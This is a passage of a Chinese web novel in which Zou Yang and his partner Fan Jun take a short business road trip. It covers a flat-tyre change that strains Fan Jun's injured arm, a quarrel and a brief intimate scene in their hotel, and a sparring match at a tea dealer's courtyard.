邹飏这么长时间来晚上睡不着都是因为噩梦惊醒,就今天晚上是因为刘文瑞停不下来的嘴,甚至提出了一个让邹飏半夜一声暴喝把老妈都吵醒了的问题。 “要不要找个片儿看看?”刘文瑞问。 “滚!”邹飏坐起来就是一巴掌,“你死不死!” 就为这句话,邹飏惊得快天亮了才睡着。 早上醒的时候都快十一点了。 刘文瑞还睡得跟死了一样。 “起来啦,”老妈正在客厅里坐着,“我以为你俩要睡到下午呢。” “聊了一晚上,”邹飏在老妈身边挨着坐下,“你被我们吵得没睡好吧?” “没事儿,我后来戴耳塞了,”老妈笑笑,“厨房里有早餐,去吃吧。” “嗯,”邹飏应了一声,坐着没动,手在身侧把手机划开了,看了看消息,“你今天……不出去吗?” 【樊】你的照片呢,给我也发几张 【樊】大黑尿我床上了,一大早起来洗被子 邹飏笑了笑。 “今天不出去了,这阵儿都挺闹腾的,今天静一静,”老妈转头看了他一眼,“你要……出去吗?” 他赶紧收了笑容,把手机脸冲下,搂了搂老妈的肩,老妈小心的眼神让他很心疼,他咬了咬牙:“我……不出去,就在家。” “……嗯。”老妈在他脸上摸了摸,“明天我还得去南舟坪,快开学了,忙完这几天就清闲了。” “嗯。”邹飏应着,那这样就不用跟老妈说“出差”的事儿了,他松了口气。 犹豫了半天才又小声问了一句:“你跟吕叔……之前不是说……” “不急,”老妈说,“现在事儿太乱了,缓一缓再说了。” “吕叔……人挺好的。”邹飏说。 “我知道,”老妈突然有些不好意思,推了他一下,“你还管我了呢,去吃早饭。” 其实在家陪着老妈,也就是让老妈知道他在家,没有一摊牌就天天跟樊均混在一起,让老妈心里有个缓冲。 他和老妈平时在家聊天儿也就是有一搭没一搭的。 今天也差不多,窝沙发上跟刘文瑞玩游戏,时不时弃刘文瑞于不顾切出去给樊均回消息。 老妈在旁边看手机,偶尔因为他俩太吵了进屋躲一会儿。 刘文瑞不愧是十几年的交情,就这么无聊,硬是在他家待到了晚上,再过一夜才走。 “你妈不会觉得咱俩才是一对儿吗?”刘文瑞盘腿儿坐在椅子上。 “要点儿脸吧。”邹飏打开衣柜,拿了个小包出来,准备收拾明天出门的衣服,就住一夜,也没什么要带的,但流程要走。 “你干嘛?”刘文瑞盯着他手里的包。 “明天出趟门,”邹飏说,“住一夜。” “跟谁?”刘文瑞一下挺直了背。 “跟你。”邹飏看了他一眼。 “你大爷,”刘文瑞从椅子上跳了下来,一巴掌甩在他背上,压着嗓子,“你跟他去度蜜月?” “滚,”邹飏也压着声音,“谁蜜月就两天,出差,我跟着去玩玩。” “不是蜜月?”刘文瑞凑到他脸面前,“真不是?” “不是。”邹飏说。 “你说的啊,不是蜜月。”刘文瑞手指都戳到他脸上了。 “我说的,不是,”邹飏拍开他的手,“怎么?” “带我。”刘文瑞说。 “不行,”樊均很干脆,把自己的包和邹飏的背扔到后座上,“我真是工作。” “我揍你俩大爷,”刘文瑞啧了一声,“我大老远开车送他过来,就对我这样。” “你不是为了拿我车去骑吗?”邹飏看着他。 “那只是表面上……”刘文瑞说。 “这个送你的。”樊均递给他一个很精致的长条盒子。 “不是,”刘文瑞愣了愣,接过盒子,“怎么还送我东西?” “不贵的,主要是挺好看的。”樊均说。 刘文瑞打开盒子,里面是一个黄铜香筒,盖子上还有雕花,他摸了摸:“我操,好高级。” “里面的香是何川做的。”樊均说。 “谢谢啊,樊哥,”刘文瑞非常惊喜,迅速把香筒塞进了自己外套袖子里,低声说,“不会被发现吗?” “什……”樊均愣了愣,“这我买的。” “哦。”刘文瑞也愣了愣,把香筒又从袖子里抽了出来。 车开出停车场的时候邹飏都还想笑。 “我在他心里是什么形象啊。”樊均说。 “我们都是这样的形象,”邹飏笑着把椅背往后调了调,靠着伸了个懒腰,“要开多久啊樊哥。” “五个小时,”樊均看了一眼导航,“你睡会儿吧。” “这哪睡得着,”邹飏偏过头看着他,“旅行呢。” “算吗?这么近,明天就回来了。”樊均说。 “算,”邹飏说,“只要出城了就算。” “嗯。”樊均笑笑。 邹飏拿手机想连一下车上的蓝牙听听音乐,发现连不上,他啧了一声:“何老板也赚不少吧,什么时候换车。” “说下半年,”樊均说,“你想听音乐,他后座有个蓝牙音箱。” “一会儿吧,”邹飏看着他,“我现在想听你说话。” “我开车呢。”樊均看了他一眼。 “用嘴开啊。”邹飏说。 “你用嘴是真能开。”樊均叹了口气。 邹飏笑着没说话。 开了一会儿,准备上高速。 邹飏看了看外面,很安静,他打了个响指:“路边停一下。” “尿尿?”樊均看了他一眼,慢慢靠边儿把车停下了。 邹飏没说话,看他把手刹拉上了,才伸手一把抓住了他衣领,拉自己这边儿用力拽了拽:“过来。” “哎。”樊均笑着探过身,偏头在他嘴上亲了一口。 刚想坐回去,邹飏的手伸到了他颈后,往前带了带,吻了过来,呼吸里都带着霸道。 可能五秒,可能十秒。 时间应该不长,樊均感觉邹飏松开他的时候他有点儿意犹未尽。 不过。 “嘶……”他摸了摸嘴唇,“你咬我了?” “咬你怎么了,这么娇气还不能咬了吗?”邹飏说,“破了吗?” “没有吧,”他把遮阳板扒拉下来,对着镜子看了看,“没有。” “我都没用力。”邹飏说。 “你这个牙……”樊均扳过他的脸,捏了一下,“张嘴我看看。” “怎么。”邹飏呲了呲牙。 “有一颗很尖。”樊均说。 “这颗,”邹飏用舌尖给他指了一下右上的犬齿,“我啃东西都用它。” 樊均捏着他脸的手指不受控制地收了收。 他赶紧松了手,转头目前前方,双手握紧方向盘。 “出发。”邹飏手往前一挥。 第74章 这会儿还算是过年期间,不过大多数人都已经恢复了日常,高速上车来车往挺热闹,很多车上还贴着过年的小对联。 邹飏把手机连上了后座的蓝牙音箱,音乐在车里响里起的瞬间,就有了“在路上”的感觉,连带着车外的景象都变得有了电影感。 其实这样开着车出远门儿的机会,邹飏也并不多。 毕竟家里要想这样玩,只能指望老爸,老爸一年到头都“很忙”,而且坐在他车上,哪怕是开个几千公里,也不会有什么旅游的愉悦感,只会有遭罪的煎熬感。 “一会儿路过休息站去买点儿吃的,”邹飏拿着手机对着窗外,“刚被刘文瑞打个岔,忘了去旁边超市了。” “饿了还是馋了?”樊均问。 “馋,”邹飏说,“我一坐车就想吃东西。” “饿了没办法,馋的话,”樊均笑笑,“后座我包里你找找。” “嗯?”邹飏立马放下手机,回手从后座上把樊均的包拎了过来,“我靠,这么重,你带什么了?” “也没带什么。”樊均说。 邹飏拉开包看了一眼就愣了:“你……” 包里全是吃的,什么海苔薯片果干,辣条鸡爪鸭脖,还有好几瓶水和饮料。 “买这么多?”邹飏很震惊,“我们出去野餐都带不了这么多。” “我就觉得……”樊均也看了一眼包里的东西,笑了起来,“挺好玩的,也没注意就拿了多少,多了吗?” “不多,”邹飏拿了包海苔出来,“这样我能放开了吃……你想吃什么?” “我不爱吃零食,”樊均说,“就是给你买的。” 邹飏平时也不太爱吃零食,但坐车的时候的确喜欢时不时往嘴里塞点儿有味道的东西。 他一边吃着零食,一边举着手机录视频。 每个视频都最后都会以司机樊均的脸结束,跟防盗水印似的。 录了三个视频之后他放下了手机,靠在车门边看着樊均的左手。 樊均左胳膊抬起的角度受限,开车的时候左手辅助,基本都是右手,这也挺正常,很多人都这么开车。 但樊均的左手似乎不能长时间这么架着,邹飏能从他袖口的位置看到从手臂上延伸出来的两小段肌肉贴。 邹飏看了一眼时间,一个小时。 正常开车,这点儿时间不算长,但他还是在看到休息站牌子的时候说了一句:“前面休息站停一下吧。” “嗯?”樊均看了他一眼。 “上厕所。”邹飏说。 休息站人还挺多,不少拖家带口的,樊均刚把车停好,邹飏就跳下了车。 “这么……急?”樊均问。 “嗯。”他应了一声往厕所那边儿就跑。 他不知道樊均要不要上厕所,万一他俩一块儿进去,他杵那儿半天没动静,就很假了。 他只能抢先一步,进厕所去洗了个手再出来。 樊均没进休息站里,站在外面的草坪边,邹飏老远就能看到他扳着自己左手慢慢拉伸手,应该还是不舒服了。 邹飏也没管那么多,走过去直接问了一句:“手不舒服?” “有点儿胀,”樊均笑了笑,活动了一下左手,“没事儿。” “要不一会儿我开?”他拉过樊均的手,在他小臂上一下下捏着。 樊均没跟他细说过手臂现在的情况,所以他也不知道如果不舒服了得怎么缓解,只能按最基本的肌肉酸痛来理解,捏一捏,揉一揉。 “高速上呢,”樊均说,“你开车是不是还不如刘文瑞?” 邹飏想了想:“我学的时候就比他开得好。” 樊均笑了笑,反手握住他,也在他手臂上捏了捏:“我没事儿,走吧。” 没事儿。 邹飏没多说什么,上了车。 也没盯着樊均的手看,但余光里能看到,大概是休息了一会儿,樊均的手看着一切正常。 算了,没事儿就没事儿吧。 旅游呢,多么愉快。 不过这个季节,车窗外是真没什么风景能看,一派萧瑟的冬景。 手机里倒是很热闹。 刘文瑞跟那俩说了他和樊均去“出差”,在家过年过得百无聊赖天天琢磨着提前返校的李知越和张传龙来了精神。 【张】视频 【刘】人家滋润着呢,没空理咱们 【李】视频 【刘】视频 邹飏笑了笑,打开手机开始录视频,从窗外拍到车里,再转向樊均:“打个招呼。” “嗨。”樊均笑了笑,打了个很标准的招呼。 邹飏再把镜头对着自己腿上一堆零食,最后转向自己:“开车呢,别闹。” 视频发到群里,招来辱骂无数。 邹飏也没再看消息,把手机放到一边,拿了包薯片慢慢吃着:“你跟何川出去都谁开车?” “跑的远的话轮流开,”樊均说,“不太远他开得多些。” “为什么?”邹飏马上问。 “他的车。”樊均说。 有理有据。 邹飏捏了一片薯片递到樊均嘴边:“吃吗?” “嗯。”樊均应了一声,叼走了薯片。 又开了差不多一小时,邹飏正想找辙再进一次休息站,车却开上了匝道,准备下高速了。 邹飏把腿上的零食收拾好,放到后座,在开出收费站之后说了一句:“我开会儿吧。” 樊均没说话,目视前方,头都没偏一下。 虽然车里开着音乐,但之前他说的每一句话樊均都听到了。 这会儿开始装聋了。 非常强行。 邹飏把音乐关了,又说了一遍:“我开会儿!” 樊均装不下去了,转头看了他一眼:“乡道,路窄。” “车都没有。”邹飏说。 樊均再次沉默,装都不装了,就聋给你看。 邹飏有些无语,转头看着窗外。 “你看一下右前轮。”樊均说。 “怎么了?”邹飏放下车窗。 “胎压不对。”樊均说。 “这破车,”邹飏把脑袋探出了车窗外,看了看右前轮,然后就愣住了,“哎,瘪了。” “就知道,”樊均皱了皱眉,车速降了下来,他看了一眼导航,“前面有个岔路,看能不能找个地儿停车。” “换备胎吗?”邹飏问。 “嗯。”樊均点点头。 岔道拐进去尽头是个什么厂,拐弯的位置比较宽,也没车,樊均把车停在了路边,打开门下了车。 邹飏也下了车,换备胎总得帮忙了吧。 这块儿是郊区,一下车脑袋差点儿让风给兜掉了,邹飏把外套拉链拉到下巴,绕到了车后。 樊均正从后斗里拿了千斤顶,看到他过来,很简单地说了一句:“你去那个墙边儿,冷。” “我帮忙。”邹飏说。 “不用,”樊均拎着千斤顶往右前轮走过去,“避风的地方等着。” 邹飏没说话。 樊均顿了顿,大概是觉得这话说得太生硬,于是又回头说了一句:“换完了你开会儿。” “嗯。”邹飏应了一声,但也去墙边。 反正他嗯是嗯的“换完了你开会儿”这句,也没嗯去墙边那句。 樊均在前轮的位置找了找,把千斤顶塞到了车下方,把车头顶了起来,整个过程用的都是右手。 起身转头的时候看到邹飏还站在车边,他愣了愣:“怎么?” “我玩一下。”邹飏换了个说法。 樊均没说话,只是看着他,微微皱了皱眉。 邹飏也不出声,盯着他。 “我自己来。”樊均说。 “我就卸个胎也不行吗?”邹飏问。 “你要没跟来,这趟就我一个人。”樊均说。 “但现在我在这儿呢。”邹飏没退让。 “你每次都在吗?”樊均问。 “轮胎也不会每次都要换吧。”邹飏说。 樊均张了张嘴,没说出话来。 汉语言展现实力的时刻。 邹飏靠着车门还是看着他。 樊均沉默了半天,开口的时候还是那句:“一边儿等。” 邹飏没动。 “邹飏,”樊均看着他,“……别逼我。” “怎么,”邹飏挑了挑眉毛,有些意外,“要打我?” “我疯了么打你。”樊均没再多说,往车后走过去,拿过一个十字扳手,回到前轮位置,开始卸轮胎。 这车平时一看就是成天跑乡下,也不怎么洗车保养,轮胎上全是泥,螺丝也卡得很紧。 正常情况下,樊均拧开这玩意儿不会费什么劲,但现在他左手明显用不上劲儿,只起到一个扶着扳手的作用,力量只靠右手。 拧了几下扳手都没动。 邹飏拧着眉,心里说不出是什么滋味儿,心疼,酸得很,还有点儿隐隐的怒火中烧。 樊均手扶着车头,抬腿对着扳手蹬了一脚,螺丝松了,他沉默地开始卸下一颗。 邹飏转身走开了,到对面的围墙边儿上靠着。 这个墙在路对面,他在这儿只能看到樊均上半身,看不到他操作的过程,但不用看也能想象得出来,单手换备胎,再怎么都会费劲。 樊均把前轮卸了下来,滚到了后斗那边儿,然后开始拆备胎。 这车的备胎在车底,得先用扳手拧,把备胎放下来,那个螺丝比轮胎上的更紧,如果之前从来没换过备胎的话,那就是一次都没拧过。 反正樊均也拧开了,时间长点儿,最后也是站车斗里用脚蹬的。 备胎拿过来之后樊均在前轮位置愣了一会儿,然后蹲了下去。 邹飏盯着车头,好半天也没看到樊均起身。 犹豫了几秒之后他快步走了过去。 刚转过车头就看到樊均左手按在地上,右手正抓着左手手指往上扳。 “抽筋了?”邹飏心里猛地一抽,过去直接一条腿跪到地上,抓住了他左手手腕,拉起来把胳膊肘压在自己膝盖上,按着他手掌往回推。 能感觉樊均的手臂抖得很厉害,估计也痛得不轻,樊均眉毛都拧起来了。 这么绷了一会儿,樊均轻声说了一句:“好了。” 邹飏松了劲,又在他手臂上捏了一会儿。 “不疼了。”樊均说。 “嗯。”邹飏应了一声,松开了他的手。 樊均甩了甩胳膊,轻轻舒出一口气:“你……” “回墙边儿蹲着。”邹飏说。 樊均没出声。 “等你再抽筋儿了再过来,”邹飏说,“或者就在那儿等着你自己扛过去,是吧。” 樊均看了他一眼,没说话。 “是不是啊!”邹飏突然有些控制不住,吼了一嗓子。 樊均拍了拍手上的土,还是沉默着。 “你在犟什么啊!”邹飏凑到他右耳边又喊了一声。 “听得到。”樊均说。 “那你回答我。”邹飏收了声音。 “这是我现在的工作,我需要一个人完成的工作,你在的时候可以帮我,你不在的时候就是我一个人,”樊均看着他,声音慢慢也扬了起来,“总会有各种问题需要解决的!我如果解决不了,那就说明我干不了这个活儿!” “你不是在治疗吗,不是已经在恢复了吗!”邹飏说,“又不是好不了了!我在的时候帮你,不在的时候你自己处理不就……” “我不知道要多久才能好!”樊均打断了他的话,“不知道!要多久!” 邹飏看着他:“那又怎么样?” “对于是你来的确,那又怎么样,”樊均说,“不是你听不见,不是你手动不了,不是你每天担心是不是又得别人帮忙了。” 邹飏没了声音。 “邹飏,”樊均弯腰把备胎扶了起来,“如果是别人,我可能也不会这么犟,但你……就是不行。” 邹飏没说话,看着他右手提起备胎,左手因为不敢再用劲,有些吃力,用膝盖顶着才把备胎怼到车轴上对准了。 接着上螺丝就轻松多了,最后撤掉千斤顶,换下来的轮胎他打算扔到后斗里,搬轮胎的时候,邹飏走过去一块儿抬了一把。 “就搬东西这种事儿,”邹飏说,“任何人搭把手都是正常的,分得清吧?” “……嗯。”樊均应了一声。 他转身准备回车上的时候,樊均在他身后说了一句:“你开吧。” “嗯。” 嗯是嗯得挺爽的。 但坐进驾驶室之后,邹飏就有点儿麻爪。 回忆了一下流程,又仔细确定了一下需要操作的玩意儿都在哪儿,还好,位置都差不多,多亏了这车跟教练车一样破,好车他可能还开不了。 他看了一眼副驾的樊均。 “离合,刹车……”樊均提醒他。 “闭嘴。”邹飏拧了一下车钥匙,车发动了。 接下去基本就是机械记忆,还算顺利地把车开了起来,就是拐回主路上时往对面车道兜了半圈儿。 “这段儿你开,”樊均说,“到前面镇子换我。” “嗯,”邹飏盯着路,“多远?要开多久?” “一小时。”樊均说。 “没问题。”邹飏握紧方向盘。 “你这个速度的话,可能要两个小时。”樊均说。 “我适应一下就提速。”邹飏看了他一眼,又瞄了一眼仪表盘上的数字,20。 那是有点儿慢了,他踩下油门,挂了三档。 “我们不赶时间,”樊均指了指前面,“看路。” 邹飏啧了一声。 没想到,自己有一天也会在开车的时候听到刘文瑞同款提示语。 邹飏的确很聪明,身体协调能力也强,虽说拿本以后就没摸过车,但开出去一会儿之后,就慢慢适应了,比刘文瑞之前开得要稳得多。 樊均把副驾椅背调直了,虽然邹飏车开得比刘文瑞强,但也不是强到他能躺下睡觉的程度,他得帮着看路。 左胳膊刚抽筋过后的疼痛还没有消失,肌肉之下不知道是哪条筋还是某根神经一直在跳着疼。 他想揉一下,但又不想邹飏发现了分心,只是抱着胳膊,左手藏在右胳膊下慢慢地张开再握拳地活动着。 一个多小时之后,车开到了镇上,邹飏没有停车换人,樊均也没开口, 因为只是路过,导航给导的是镇边儿上的路,车不多。 他们的目的地是下一个镇子。 邹飏车是开熟了,但也还是个新手,一路都开得全神贯注,午饭时间也没想起来吃东西。 估计也不饿,一路就看他吃了。 樊均回手从后座随便摸了一包豆干儿。 吃完更饿了。 在已经感觉不到饿意的时候,他们终于到达了目标小镇。 樊均换下了邹飏,把车开到了之前他和何川住过的旅馆,算是镇上住宿条件最好的一家。 在前台办入住的时候,邹飏摸了摸肚子:“我饿了。” “我已经饿过头了。”樊均说。 “这会儿我们餐厅没吃的了哦,”前台小姑娘说,“得去镇中心去找找。” “嗯。”樊均拿过房卡,往楼梯走过去。 “没电梯?”邹飏小声问。 “没,”樊均也低声说,“就在二楼。” “哦。”邹飏转头往四周看了看。 二楼靠近楼梯的标间,挺干净的,比住村里危房强多了。 “街景房啊。”邹飏包往床上一扔,站到窗边往下看着。 “嗯,晚上有人跳舞,挺热闹的。”樊均进了浴室,洗了洗脸,把上衣脱了,看了看自己左胳膊。 肌肉贴下面,能看到因为之前严重抽筋而有些发红的痕迹。 他皱了皱眉,试着活动了一下肩膀。 还行…… 掩着的浴室门被推开了,邹飏挽着袖子走了进来:“我洗个手,那个方向盘肯定……” 樊均往边儿上退了一步,把洗手池让了出来。 邹飏站着没动,盯着他身上,过了一会儿才问了一句:“你洗澡啊?” “不是,”樊均低头看了看自己,“我检查一下……胳膊。” “哦。”邹飏移开视线,过去拧开了水龙头,哗哗地洗着手。 第75章 看邹飏洗手这个劲儿,方向盘上怕不是沾了屎。 樊均杵在旁边也不知道是该出去还是该等他洗完了再……再什么也不知道,他进来就是检查一下自己胳膊,现在胳膊也检查完了…… 他知道邹飏生气了。 一般有人生气的时候,比如吕泽,他的应对方式就是沉默,然后走开。 但邹飏不是吕泽。 他也舍不得就这么晾着正在生气的邹飏。 犹豫了一小会儿,他从旁边拿了小香皂想撕开了给邹飏。 撕的时候才想起来,他可以握住东西,但捏着用劲还是不行。 邹飏的视线已经扫了过来,于是他很快地把香皂拿到嘴边,用牙咬着撕开了包装袋,把香皂放在了水池边的小碟子里。 邹飏没说话,拿过香皂开始疯狂搓手,没一会儿就搓起了一大坨泡泡。 樊均有些意外,他一直觉得这种小香皂,特别是便宜旅店里的,都没有泡…… “你是等着用水吗?”邹飏突然从镜子里看着他问了一句。 “……没。”樊均应着,转身走出了浴室。 先把包里的零食都拿出来吧,一会儿吃点儿东西就该去李…… 浴室里的水声停了,他松了口气,总算洗完了。 接着邹飏一甩门走了出来,步子很急。 樊均刚想回头看看,就感觉身后的空气都被起了起来,跟一阵风似的,后背猛地被人推了一把。 下手相当重,像是撞过来的。 樊均直接被撞得往前一步扑到了床上。 不过撞的位置挑得很安全,肩胛骨正中,不会闪着腰…… 他不知道邹飏是要干什么,打一架出口闷气么…… 在扑倒的同时他借着床垫的弹性迅速翻了个身,紧跟着就看到邹飏冲了一步,一个飞膝跃起。 看着像是奔着杀他来的。 樊均这个躺着的姿势,身下还是个非常软的不受力的床垫,很难在这么短的时间里再做出什么防守了,只能是抬起右臂护在了身前。 虽然邹飏不可能真杀他,只是万一没控制好,自己右臂能防着邹飏直接摔他肚子上。 不过邹飏很稳,而且有些出乎他意料的敏捷,跃起落下时,左膝贴着他身体右侧跪在了床垫上,右膝不轻不重地顶在他肋骨下方的同时,抓着他右手往上一掀,压在了头顶。 邹飏整个人倾在了他上方,低头看着他。 不得不说,樊均有点儿被他这一串动作惊到了,行云流水,非常漂亮。 只是不知道他这是要干什么。 邹飏低头看着他,半天也没出声,他在开始怀疑邹飏是不是自己也不知道要干什么的时候,邹飏开口了:“你别动。” “嗯?”樊均没明白。 “我松手你要敢把我掀下去,我就揍你,你一条胳膊未必能占上风。”邹飏说。 “……嗯。”樊均应了一声。 邹飏膝盖还压在他身上,但松了手,接着居高临下地脱掉了身上的衣服,往旁边椅子上一甩。 再次伏身抓住他右手腕时,呼吸明显比之前重了不少。 “邹飏?”樊均愣了。 说实话,在这一秒之前,他完全没想到会是这样的发展,他心情非常差,没往这方面想,更是完全没想到一路都在生气的邹飏会突然这样。 邹飏没出声,眼睛盯着他左胸上的伤,然后抬手落下,指尖点在了那一片伤疤上,顺着划了几下。 樊均看着他,只感觉一声轰响,甚至分不清这声音是来自外界还是脑内,除了邹飏,四周的东西全都变成了余光里的样子,只剩了个模糊的轮廓。 他眼前唯一能看清的就是邹飏。 邹飏压在他身上的膝盖滑向腰侧,人跟着伏了下来,低头吻在了他唇上。 没有试探,没有前奏,沉默而急切,温润里带着一丝薄荷糖的清凉,从齿间探入的瞬间,樊均的呼吸乱了节奏。 邹飏的手没有离开,顺着伤痕向下,重重地抚过胸口,掠过腰间,滑过小腹……这一秒如同有电流从邹飏指尖炸出,在皮肤之下,顺着无数条神经点燃引信,往骨缝深处蔓延。 樊均转了转右手腕,他想要拥住邹飏,现在,马上。 但邹飏没有松手,半个人的重量都压在他手腕上。 “用左手。” 樊均感觉自己呼吸有些困难,混乱的呼吸里的每一次心跳都震耳欲聋。 他抬起左手,揽住了邹飏,指尖一点点用力,顺着脊柱慢慢滑过,每一寸移动都像是要把指尖掐进他的肌肤里。 手从腰侧抚向小腹,缓慢却没有停顿。 邹飏的唇缓缓移向他的唇角,滚烫的呼吸开道,柔软的触碰一路延伸向颈侧。 右侧。 无论是听力还是触感,都更清晰。 他能听到急促喘息里的温度。 掌心里的灼热几乎能烧透皮肤……混乱的感官让他有一瞬间他分不清耳边的低吟属于谁,分不清那份顺着血管蔓向身体每一寸的战栗属于谁…… 直到遥远的喇叭声响从窗外扫进来。 撕开包裹着所有感知的混沌,他听到了耳边邹飏慢慢缓下来的喘息,也听到了自己尚未完全平稳的心跳。 邹飏松开了他的手,整个人放松下来伏在他身上,再慢慢翻了个身,躺到了他身边。 闭上眼睛长长地舒出一口气。 又缓了一会儿才提了提裤子。 “邹飏。”樊均侧过脸,声音很低,带着一丝沙哑。 邹飏这一秒才回过了神,猛地睁开眼睛,从床上一跃而起,跑进了浴室。 打开水龙头,哗哗的水声都感觉盖不住他的心跳,这会儿心蹦得甚至比刚才还猛,撑着水池时有种整个人都跟着心跳微微晃动的错觉。 他低头往自己脸上泼了点儿凉水,又定了定神,也没敢往镜子里看,只盯着眼前的水柱。 余光里能看到樊均走了过来,站在门边,往开着的浴室门上轻轻敲了一下。 邹飏往旁边让了一步,转身靠着水池。 樊均走过来,弯腰洗了洗脸,关掉了水龙头,侧身也靠在了水池边,看着他。 “我好变态啊。”邹飏说。 樊均笑了笑,伸过胳膊抱住了他,在他脑门上亲了一下:“是……有点儿。” “你别回味了啊。”邹飏说。 “这不太可能啊。”樊均低声说。 邹飏往他身上靠过去,低头把下巴搁在他肩膀上,闭上眼睛叹了口气。 “歇一会儿去吃东西,”樊均说,“然后得赶紧去李老板那儿,不能压着晚饭的点儿到。” “那不吃了,直接过去。”邹飏说。 “很近,”樊均说,“来得及。” “嗯。”邹飏点了点头。 这个小镇比之前路过的那个大,还挺热闹的,附近还有个似乎挺有名的湖,不少游客自驾过来玩。 他俩就近找了个面馆,一人要一碗牛肉拌面。 “你出差有时间限制吗?”邹飏一边吃一边看着面馆墙上的景点介绍。 “想去那个湖看看吗?”樊均问。 “……嗯。”邹飏点点头。 “那就后天再回去,”樊均说,“去李老板那儿看货也未必那么快能看完,何川没来,他肯定要摆摆谱。” “好。”邹飏低头吃了口面。 他是真饿了,开车过来本来就挺耗精力的,再加上刚才……这会儿感觉胃里空虚得很,一口面吃下去都晃荡。 樊均看上去比他更饿,毕竟一路几乎没吃东西,刚才还…… 一碗面吃完都没用三分钟。 “你往里倒啊。”邹飏看着他已经基本吃光了的碗。 “我看他家还有饼,”樊均说,“你吃吗?” “……我估计吃不下了。”邹飏说。 “我去拿个饼。”樊均起身。 回到桌子旁边的时候就手指那儿捏着一角饼。 “饼呢?”邹飏愣了愣。 “吃了。”樊均把捏着的那一角饼也放进了嘴里。 邹飏回头看了一眼烙饼的锅,就五步不到的距离,他都没看到这是个什么饼。 “走吧,”樊均擦了擦手,“饱了。” “我感觉冠军要不控制你饮食,我可能都没机会喜欢上你,”邹飏小声说,“我虽然更在意灵魂,但也不是完全不在意装灵魂的那个壳儿。” 樊均笑了起来:“我现在也控制的,运动量没有以前大,不能太随意了。” 是啊,现在不是教练了。 邹飏没说话,只是在他背上轻轻摸了摸。 樊均立马抓住了他的手,往他手指头上搓了搓。 “干嘛?”邹飏看着他。 “我以为你在我背上擦手呢。”樊均说。 “滚蛋!”邹飏说,“刚弄一手我都没往你身上……” 这话刚说出来他就震惊了,邹飏,你真的变态啊,这话是能在这么大庭这么广众的地方说的吗! 樊均也震惊地转过脸看着他。 “走走走走走……”邹飏快步往车子那边走过去。 李老板放货的那个院子,离他们住的旅店很近,开车过去都没来得及挂上四档就到地方了。 小院是封闭式的,四周是一人多高的白墙,墙上的瓦看上去都很有年头,院门也是老式的木门,推开的时候会发出低沉的吱咯声。 樊均拉了一下门边的一条铁链,门上方响起了清脆的铃声。 “哟!来了啊。”有人在屋里说了一句。 接着一个挺精壮的男人走了出来,不过从面无表情的脸上来看,刚那句话不是他说的。 “这人不认识。”樊均低声给他介绍了一下。 “嗯。”邹飏应着。 那就不是李老板。 “请进。”精壮男看了他俩一眼,转身又走回了屋里。 邹飏跟在樊均身后进了院子,院子挺有古意,半墙的青苔,上方挂着不少很漂亮的窗棂,一套石桌椅也能看得出是用了有些年头的。 再走进屋里,茶桌,字画,满柜子的瓶瓶罐罐和看上去很旧的书…… 这地方应该让老爸来,是他喜欢的风格。 茶桌边坐着的一个男人应该就是李老板了,挺瘦,看着倒是还算和善。 “小樊,何川还真放心让你一个人过来啊。”李老板扫了邹飏一眼。 看着和善,但这句话就已经很不和善了,对何老板意见不小。 “是两个人。”樊均说。 李老板笑了笑:“那这位是……” “股东。”樊均说。 邹飏差点儿想抬手按一按自己的眉毛,张嘴就来啊这是。 “哦?”李老板又看了邹飏一眼,“年轻有为啊。” 邹飏笑了笑,没说话。 股东就股东吧,樊均也没说是哪儿的股东,新新馆他也是投了课时费的。 “坐,”李老板示意了一下对面的椅子,“喝点儿茶。” “刚吃了一肚子,喝不下茶了,”樊均没坐下,“先看看您新到的货,消消食儿。” 李老板笑了起来:“急什么!聊会儿!” 邹飏坐下了,樊均也只好先坐下。 “何川现在也是干得不错,”李老板给他俩倒了茶,“看这么好的货,自己都不亲自来了。” “他是没好意思跟您说,”樊均拿过杯子喝了口茶,“他肺炎住好几天院了,也不知道传不传染,不敢到处乱跑。” “是吗?”李老板愣了愣,然后又皱着眉叹了口气,“他这身体也是不行,之前不是还跟你练散打么,现在不练了?” 邹飏看着李老板。 说话注意点儿啊这位老板。 “我现在有伤。”樊均说。 “哦,也是,”李老板又看了一眼邹飏,“怎么,小兄弟不喝茶?喝点儿饮料?” “喝,”邹飏看了一眼茶,“这泡有点儿过了。” 李老板盯着他看了一会儿,笑了:“这是真会喝茶的,刚说着话,出汤慢了那么一点点,这都能……闻出来?” “看到了。”邹飏笑笑。 “来来来,”李老板冲精壮男招手,“把我昨天新开的那个茶饼拿来。” 然后又冲樊均说了一句:“这我侄子,没练过,平时就健健身,你一会儿给指点一下?” “我……”樊均不太愿意,李老板这还是在折腾,但犹豫了几秒之后他还是点了点头,“指点谈不上……行吧。” 精壮男很快拿来茶饼,李老板熟练地撬下一小块:“阿志,一会儿你跟樊教练学学,让他指点你一下,他专业的。” “嗯。”阿志看着樊均,架了架膀子,看起来跃跃欲试。 邹飏扫了他一眼,又看向樊均,樊均倒是挺平静,看不出来什么情绪,毕竟踢馆这种事儿以前没少碰上。 只是…… 李老板像是找到了什么乐趣,茶就喝了两泡,就起身让阿志跟樊均请教。 小院里有间屋子,放着不少健身器材,李老板平时会练练,旁边墙上挂着个拳击机,还有一排拳套手靶之类的。 阿志看着年纪跟邹飏差不多,这会儿李老板一开口,他立马就来了劲头,进屋话都没说直接就脱了外套,里头就一件无袖衫,胳膊上倒是有点儿肌肉。 樊均看了邹飏一眼,邹飏用手遮了一下嘴。 干他。 樊均笑着脱掉了外套,里头是件T恤,比阿志低调得多。 “我左手有伤,”樊均拿过手靶,“你出拳试试吧。” “好。”阿志捶了捶拳套,原地蹦了两下。 樊均举起手把。 阿志一点儿没犹豫地挥拳,先是对着樊均右手手靶抡了一拳,跟着左手一个摆拳,但目标却不是樊均左手的手靶,而是对着他脸去的。 操你大爷! 邹飏猛地一下挺直了背。 樊均偏头躲过了这一拳:“打手靶。” “嗯。”阿志点头。 “来。”樊均说。 阿志再次挥拳,这次力度更大,右拳直击手靶,嘭的一声,紧跟着的左拳却又一次对着樊均的头去了,明显速度比之前更快。 樊均再次偏头躲过,看着他:“打手靶。” “对,打手靶,”李老板在旁边说,“这也就是樊教练反应快,换个人已经被你放倒了。” “不好意思啊,”阿志笑了笑,“条件反射。” 樊均没出声。 阿志第三次出拳。 跟前两次一样,右拳手靶,左拳对着樊均的脸。 樊均这次还是侧身躲过,直起身的同时没有戴拳套的右手一拳砸在了阿志脑袋上。 很重。 阿志被直接一拳砸倒在了地上。 “不好意思,”樊均低头看着他,“条件反射。” 